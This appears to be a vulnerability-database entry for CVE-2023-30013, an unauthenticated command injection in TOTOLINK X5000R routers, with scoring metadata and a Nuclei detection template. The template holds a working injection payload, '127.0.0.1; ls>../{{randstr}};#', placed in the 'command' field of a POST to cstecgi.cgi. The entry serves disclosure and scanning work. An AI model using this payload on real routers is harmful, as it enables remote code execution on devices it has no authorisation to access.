TOTOLink - Unauthenticated Command Injection

2023-09-3004:15:00

ProjectDiscovery

github.com

totolink

x5000r

command injection

cve2023

packetstorm

unauthenticated

rce

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

AI Score

9.8

Confidence

High

EPSS

0.966

Percentile

99.7%

JSON

TOTOLINK X5000R V9.1.0u.6118_B20201102 and V9.1.0u.6369_B20230113 contain a command insertion vulnerability in setting/setTracerouteCfg. This vulnerability allows an attacker to execute arbitrary commands through the "command" parameter.

id: CVE-2023-30013

info:
  name: TOTOLink - Unauthenticated Command Injection
  author: gy741
  severity: critical
  description: |
    TOTOLINK X5000R V9.1.0u.6118_B20201102 and V9.1.0u.6369_B20230113 contain a command insertion vulnerability in setting/setTracerouteCfg. This vulnerability allows an attacker to execute arbitrary commands through the "command" parameter.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-30013
    - https://github.com/Kazamayc/vuln/tree/main/TOTOLINK/X5000R/2
    - http://packetstormsecurity.com/files/174799/TOTOLINK-Wireless-Routers-Remote-Command-Execution.html
    - https://github.com/h00die-gr3y/Metasploit
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-30013
    cwe-id: CWE-78
    epss-score: 0.96305
    epss-percentile: 0.99539
    cpe: cpe:2.3:o:totolink:x5000r_firmware:9.1.0u.6118_b20201102:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: totolink
    product: x5000r_firmware
  tags: cve2023,cve,packetstorm,totolink,unauth,rce,intrusive

http:
  - raw:
      - |
        POST /cgi-bin/cstecgi.cgi HTTP/1.1
        Host: {{Hostname}}

        {"command":"127.0.0.1; ls>../{{randstr}};#","num":"230","topicurl":"setTracerouteCfg"}
      - |
        GET /{{randstr}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_1
        words:
          - "lan_ip"
          - "reserv"
        condition: and

      - type: word
        part: body_2
        words:
          - ".sh"
          - ".cgi"
        condition: and

      - type: status
        status:
          - 200
# digest: 490a00463044021f4324b8d2cb69442b92a26914965f4d748dc23f82bbc7b0b14fd9b2859ce056022100842c47e8155cd53ac8552440f6d1e5980f0732976cacdb7a5c3b269793f26300:922c64590222798bb761d5b6d8e72950